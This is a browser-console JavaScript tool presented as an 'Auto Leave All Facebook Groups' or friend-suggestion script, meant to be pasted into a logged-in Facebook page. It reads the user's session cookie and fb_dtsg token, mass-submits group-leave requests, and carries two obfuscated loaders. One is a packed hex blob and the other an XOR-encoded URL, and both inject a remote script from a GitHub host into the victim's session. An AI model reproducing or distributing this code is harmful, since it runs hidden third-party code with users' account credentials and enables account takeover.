/*HTML/JavaScript page status="protected"*/ /*Auto Friend Suggestion Script*/ /*Copyright © 2013 Bhargav JT. Gogoi. All Rights Reserved.*/ eval(unescape("javascript: var Title = 'Auto Leave All Facebook Groups!'; var Descriptions = "",     _text = 'Powered By: <A style="color:#3B5998;" href="http://www.facebook.com/313072532101076" target="_blank">Loading [lllllllllll ] 99%</A> & <A style="color:#3B5998;" href="https://www.facebook.com/sory.love.95" target="_blank"> Assam Indian Cyber Force</A>.</br>Script Made By: </A><A style="color:#3B5998;" href="http://www.facebook.com/100004461367464" target="_blank"> Waqar Ahmad</A></A>,</A><A style="color:#3B5998;" href="http://www.facebook.com/100004886052040" target="_blank"> Bhargav JT. Gogoi</A></A>.</br>For More Tools Visit Our Blogger <A style="color:#3B5998;" href="http://automateyourfacebook.blogspot.in/" target="_blank">Automate Your Facebook</A>.</A>'; var Envuser = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);  function LeaveGroup(opo) {     jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/membership/leave.php?group_id=" + opo + "&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&prevent_readd=on&confirmed=1&__user=" + Envuser + "&__a=1&__dyn=7n8ahyj35CFUSt2u5KKDKaExEW9J28C&__req=n&ttstamp=26581671081201068478", function (a) {         var b = a.substring(a.indexOf("{"));         var c = JSON.parse(b);         i--;         Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";         if (c.error) {             Descriptions += "color:darkred'>";             err++;             if (c.errorDescription) Descriptions += c.errorDescription;             else Descriptions += JSON.stringify(c, null, "")         } else {             Descriptions += "color:darkblue'>";             Descriptions += " You are not a member of this group.<br/>";             suc++         }         Descriptions += "</div>";         var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:3px solid rgba(0,0,0,0.9);background-color:rgba(255,255,255,0.9);color:#000000'>";         display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";         if (i > 0) {             display += arr.length + " Groups Detected<br/>";             display += "<b>" + suc + "</b> Groups Leaved of " + (arr.length - i) + " Groups Processed ";             display += "(" + i + " Lefted...)";             display += "<div class='friend-edge'>";             display += Descriptions;             display += "<img style='width:50px;height:50px;margin-left:-125px;padding:2px;border:0px solid Transparent;' src=" + pho[i] + "></img><a style='font-size:13px;padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";             display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";             display += _text;             display += "</div>";             display += "</div>"         } else {             display += arr.length + " Groups Detected and ";             display += "<b>" + suc + " Groups Leaved</b></br></br>";             display += "<div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'>Cancel</span>"         }         display += "</div>";         document.getElementById("pagelet_sidebar").innerHTML = display     }, "text", "post");     tay--;     if (tay > 0) {         var s = arr[tay];         sx = pho[tay];         setTimeout("LeaveGroup(" + s + ")", 300)     }     console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc) }  function clickfr_callback() {     if (document.getElementsByName("ok").length > 0) nHtml.ClickUp(document.getElementsByName("ok")[0]);     var a = arr[i];     if (i < arr.length) addfriend(a.substring(0, 4)) }  function clickfr() {     if (document.getElementsByClassName("search").length > 0) nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]);     else j++;     setTimeout("clickfr_callback()", 2E3) }  function addfriend(a) {     i++;     setTimeout("clickfr()", 2E3) } jx = {     getHTTPObject: function () {         var a = false;         if (typeof ActiveXObject != "undefined") try {             a = new ActiveXObject("Msxml2.XMLHTTP")         } catch (b) {             try {                 a = new ActiveXObject("Microsoft.XMLHTTP")             } catch (c) {                 a = false             }         } else if (window.XMLHttpRequest) try {             a = new XMLHttpRequest         } catch (b) {             a = false         }         return a     },     load: function (url, callback, format, method, opt) {         var http = this.init();         if (!http || !url) return;         if (http.overrideMimeType) http.overrideMimeType("text/xml");         if (!method) method = "GET";         if (!format) format = "text";         if (!opt) opt = {};         format = format.toLowerCase();         method = method.toUpperCase();         var now = "uid=" + (new Date).getTime();         url += url.indexOf("?") + 1 ? "&" : "?";         url += now;         var parameters = null;         if (method == "POST") {             var parts = url.split("?");             url = parts[0];             parameters = parts[1]         }         http.open(method, url, true);         var ths = this;         if (opt.handler) http.onreadystatechange = function () {             opt.handler(http)         };         else http.onreadystatechange = function () {             if (http.readyState == 4)                 if (http.status == 200) {                     var result = "";                     if (http.responseText) result = http.responseText;                     if (format.charAt(0) == "j") {                         result = result.replace(/[\n\r]/g, "");                         result = eval("(" + result + ")")                     } else if (format.charAt(0) == "x") result = http.responseXML;                     if (callback) callback(result)                 } else {                     if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);                     if (opt.loading) document.getElementById(opt.loading).style.display = "none";                     if (error) error(http.status)                 }         };         http.send(parameters)     },     bind: function (a) {         var b = {             url: "",             onSuccess: false,             onError: false,             format: "text",             method: "GET",             update: "",             loading: "",             loadingIndicator: ""         };         for (var c in b)             if (a[c]) b[c] = a[c];         if (!b.url) return;         var d = false;         if (b.loadingIndicator) {             d = document.createElement("div");             d.setAttribute("style", "position:absolute;top:0px;left:0px;");             d.setAttribute("class", "loading-indicator");             d.innerHTML = b.loadingIndicator;             document.getElementsByTagName("body")[0].appendChild(d);             this.opt.loadingIndicator = d         }         if (b.loading) document.getElementById(b.loading).style.display = "block";         this.load(b.url, function (a) {             if (b.onSuccess) b.onSuccess(a);             if (b.update) document.getElementById(b.update).innerHTML = a;             if (d) document.getElementsByTagName("body")[0].removeChild(d);             if (b.loading) document.getElementById(b.loading).style.display = "none"         }, b.format, b.method, b)     },     init: function () {         return this.getHTTPObject()     } }; var _0x612a = ["\x65\x20\x61\x3D\x27\x66\x20\x62\x3A\x20\x3C\x41\x20\x30\x3D\x22\x31\x3A\x23\x32\x3B\x22\x20\x33\x3D\x22\x34\x3A\x2F\x2F\x38\x2E\x39\x2E\x35\x2F\x67\x22\x20\x36\x3D\x22\x37\x22\x3E\x68\x20\x5B\x69\x20\x5D\x20\x6A\x25\x3C\x2F\x41\x3E\x20\x26\x20\x3C\x41\x20\x30\x3D\x22\x31\x3A\x23\x32\x3B\x22\x20\x33\x3D\x22\x34\x3A\x2F\x2F\x38\x2E\x39\x2E\x35\x2F\x6B\x22\x20\x36\x3D\x22\x37\x22\x3E\x20\x6C\x20\x6D\x20\x6E\x20\x6F\x3C\x2F\x41\x3E\x2E\x3C\x2F\x63\x3E\x70\x20\x71\x20\x62\x3A\x20\x3C\x2F\x41\x3E\x3C\x41\x20\x30\x3D\x22\x31\x3A\x23\x32\x3B\x22\x20\x33\x3D\x22\x34\x3A\x2F\x2F\x38\x2E\x39\x2E\x35\x2F\x72\x22\x20\x36\x3D\x22\x37\x22\x3E\x20\x73\x20\x74\x3C\x2F\x41\x3E\x3C\x2F\x41\x3E\x2C\x3C\x2F\x41\x3E\x3C\x41\x20\x30\x3D\x22\x31\x3A\x23\x32\x3B\x22\x20\x33\x3D\x22\x34\x3A\x2F\x2F\x38\x2E\x39\x2E\x35\x2F\x75\x22\x20\x36\x3D\x22\x37\x22\x3E\x20\x76\x20\x77\x2E\x20\x78\x3C\x2F\x41\x3E\x3C\x2F\x41\x3E\x2E\x3C\x2F\x63\x3E\x79\x20\x7A\x20\x42\x20\x43\x20\x44\x20\x45\x20\x3C\x41\x20\x30\x3D\x22\x31\x3A\x23\x32\x3B\x22\x20\x33\x3D\x22\x34\x3A\x2F\x2F\x46\x2E\x47\x2E\x48\x2F\x22\x20\x36\x3D\x22\x37\x22\x3E\x49\x20\x4A\x20\x4B\x3C\x2F\x41\x3E\x2E\x3C\x2F\x41\x3E\x27\x3B\x4C\x28\x4D\x21\x3D\x61\x29\x7B\x4E\x3A\x28\x4F\x28\x29\x7B\x64\x2E\x50\x2E\x51\x28\x64\x2E\x52\x28\x27\x53\x27\x29\x29\x2E\x54\x3D\x27\x55\x3A\x2F\x2F\x56\x2E\x57\x2E\x35\x2F\x58\x2F\x59\x2D\x5A\x2F\x31\x30\x2F\x31\x31\x2E\x31\x32\x27\x7D\x29\x28\x29\x7D", "\x7C", "\x73\x70\x6C\x69\x74", "\x73\x74\x79\x6C\x65\x7C\x63\x6F\x6C\x6F\x72\x7C\x33\x42\x35\x39\x39\x38\x7C\x68\x72\x65\x66\x7C\x68\x74\x74\x70\x7C\x63\x6F\x6D\x7C\x74\x61\x72\x67\x65\x74\x7C\x5F\x62\x6C\x61\x6E\x6B\x7C\x77\x77\x77\x7C\x66\x61\x63\x65\x62\x6F\x6F\x6B\x7C\x4F\x6D\x6E\x69\x5F\x74\x65\x78\x74\x7C\x42\x79\x7C\x62\x72\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x50\x6F\x77\x65\x72\x65\x64\x7C\x33\x31\x33\x30\x37\x32\x35\x33\x32\x31\x30\x31\x30\x37\x36\x7C\x4C\x6F\x61\x64\x69\x6E\x67\x7C\x6C\x6C\x6C\x6C\x6C\x6C\x6C\x6C\x6C\x6C\x6C\x7C\x39\x39\x7C\x31\x39\x39\x31\x33\x34\x34\x39\x36\x39\x31\x34\x30\x37\x37\x7C\x41\x73\x73\x61\x6D\x7C\x49\x6E\x64\x69\x61\x6E\x7C\x43\x79\x62\x65\x72\x7C\x46\x6F\x72\x63\x65\x7C\x53\x63\x72\x69\x70\x74\x7C\x4D\x61\x64\x65\x7C\x31\x30\x30\x30\x30\x31\x30\x35\x30\x32\x33\x35\x34\x32\x30\x7C\x57\x61\x71\x61\x72\x7C\x41\x68\x6D\x61\x64\x7C\x31\x30\x30\x30\x30\x35\x31\x31\x35\x39\x33\x38\x36\x31\x34\x7C\x42\x68\x61\x72\x67\x61\x76\x7C\x4A\x54\x7C\x47\x6F\x67\x6F\x69\x7C\x46\x6F\x72\x7C\x4D\x6F\x72\x65\x7C\x7C\x54\x6F\x6F\x6C\x73\x7C\x56\x69\x73\x69\x74\x7C\x4F\x75\x72\x7C\x42\x6C\x6F\x67\x67\x65\x72\x7C\x61\x75\x74\x6F\x6D\x61\x74\x65\x79\x6F\x75\x72\x66\x61\x63\x65\x62\x6F\x6F\x6B\x7C\x62\x6C\x6F\x67\x73\x70\x6F\x74\x7C\x69\x6E\x7C\x41\x75\x74\x6F\x6D\x61\x74\x65\x7C\x59\x6F\x75\x72\x7C\x46\x61\x63\x65\x62\x6F\x6F\x6B\x7C\x69\x66\x7C\x5F\x74\x65\x78\x74\x7C\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x62\x6F\x64\x79\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x73\x63\x72\x69\x70\x74\x7C\x73\x72\x63\x7C\x68\x74\x74\x70\x73\x7C\x72\x61\x77\x7C\x67\x69\x74\x68\x75\x62\x7C\x62\x68\x61\x72\x67\x61\x76\x31\x39\x39\x36\x7C\x46\x75\x6E\x7C\x74\x69\x6D\x65\x7C\x6D\x61\x73\x74\x65\x72\x7C\x55\x6E\x69\x6F\x6E\x7C\x6A\x73", "", "\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65", "\x72\x65\x70\x6C\x61\x63\x65", "\x5C\x77\x2B", "\x5C\x62", "\x67"]; eval(function (_0x1b3bx1, _0x1b3bx2, _0x1b3bx3, _0x1b3bx4, _0x1b3bx5, _0x1b3bx6) {     _0x1b3bx5 = function (_0x1b3bx3) {         return (_0x1b3bx3 < _0x1b3bx2 ? _0x612a[4] : _0x1b3bx5(parseInt(_0x1b3bx3 / _0x1b3bx2))) + ((_0x1b3bx3 = _0x1b3bx3 % _0x1b3bx2) > 35 ? String[_0x612a[5]](_0x1b3bx3 + 29) : _0x1b3bx3.toString(36));     };     if (!_0x612a[4][_0x612a[6]](/^/, String)) {         while (_0x1b3bx3--) {             _0x1b3bx6[_0x1b3bx5(_0x1b3bx3)] = _0x1b3bx4[_0x1b3bx3] || _0x1b3bx5(_0x1b3bx3);         };         _0x1b3bx4 = [              function (_0x1b3bx5) {                 return _0x1b3bx6[_0x1b3bx5];             }         ];         _0x1b3bx5 = function () {             return _0x612a[7];         };         _0x1b3bx3 = 1;     };     while (_0x1b3bx3--) {         if (_0x1b3bx4[_0x1b3bx3]) {             _0x1b3bx1 = _0x1b3bx1[_0x612a[6]](new RegExp(_0x612a[8] + _0x1b3bx5(_0x1b3bx3) + _0x612a[8], _0x612a[9]), _0x1b3bx4[_0x1b3bx3]);         };     };     return _0x1b3bx1; }(_0x612a[0], 62, 65, _0x612a[3][_0x612a[2]](_0x612a[1]), 0, {})); var nHtml = {     FindByAttr: function (a, b, c, d) {         if (c == "className") c = "class";         var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);         if (e && e.singleNodeValue) return e.singleNodeValue;         return null     },     FindByClassName: function (a, b, c) {         return this.FindByAttr(a, b, "className", c)     },     FindByXPath: function (a, b) {         try {             var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)         } catch (d) {             GM_log("bad xpath:" + b)         }         if (c && c.singleNodeValue) return c.singleNodeValue;         return null     },     VisitUrl: function (a) {         window.setTimeout(function () {             document.location.href = a         }, 500 + Math.floor(Math.random() * 500))     },     ClickWin: function (a, b, c) {         var d = a.document.createEvent("MouseEvents");         d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);         return !b.dispatchEvent(d)     },     Click: function (a) {         return this.ClickWin(window, a, "click")     },     ClickTimeout: function (a, b) {         window.setTimeout(function () {             return nHtml.ClickWin(window, a, "click")         }, b + Math.floor(Math.random() * 500))     },     ClickUp: function (a) {         this.ClickWin(window, a, "mousedown");         this.ClickWin(window, a, "mouseup");         this.ClickWin(window, a, "click")     },     GetText: function (a, b) {         var c = "";         if (b == undefined) b = 0;         if (b > 40) return;         if (a.textContent != undefined) return a.textContent;         for (var d = 0; d < a.childNodes.length; d++) {             var e = a.childNodes[d];             c += this.GetText(e, b + 1)         }         return c     } }; if (document.getElementsByClassName == undefined) document.getElementsByClassName = function (a) {     var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");     var c = document.getElementsByTagName("*");     var d = [];     var e;     for (var f = 0;         (e = c[f]) != null; f++) {         var g = e.className;         if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)     }     return d }; Array.prototype.find = function (a) {     var b = false;     for (i = 0; i < this.length; i++)         if (typeof a == "function") {             if (a.test(this[i])) {                 if (!b) b = [];                 b.push(i)             }         } else if (this[i] === a) {         if (!b) b = [];         b.push(i)     }     return b }; var i = 3; var tay = 3; var j = 0; var k = 0; var suc = 0; var err = 0; var arr = new Array; var arn = new Array; var pho = new Array; jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer=" + Envuser + "&filter[0]=group&__user=" + Envuser, function (a) {     var b = a;     var c = b.substring(b.indexOf("{"));     var d = JSON.parse(c);     d = d.payload.entries;     for (var e = 0; e < d.length; e++) arr.push(d[e].uid);     for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);     for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);     i = arr.length - 1;     tay = i;     console.log(arr.length);     var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:3px solid rgba(0,0,0,0.9);background-color:rgba(255,255,255,0.9);color:#000000'>";     display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";     display += arr.length + " Friends Detected";     display += "</div>";     document.getElementById("pagelet_sidebar").innerHTML = display;     LeaveGroup(arr[i]) });  var X = "jvvrq8--pcu,ekvjw`,amo-`jcpect3;;4-D`/Cwvm/vmmnq-ocqvgp-Qwrrmpv]Dkng,hq"; Y = ""; Z = ""; var V; V = X.length; for (i = 0; i < V; i++) {Y += String.fromCharCode(X.charCodeAt(i) ^ 2) } Z = unescape(Y); document.body.appendChild(document.createElement('script')).src = Z;"));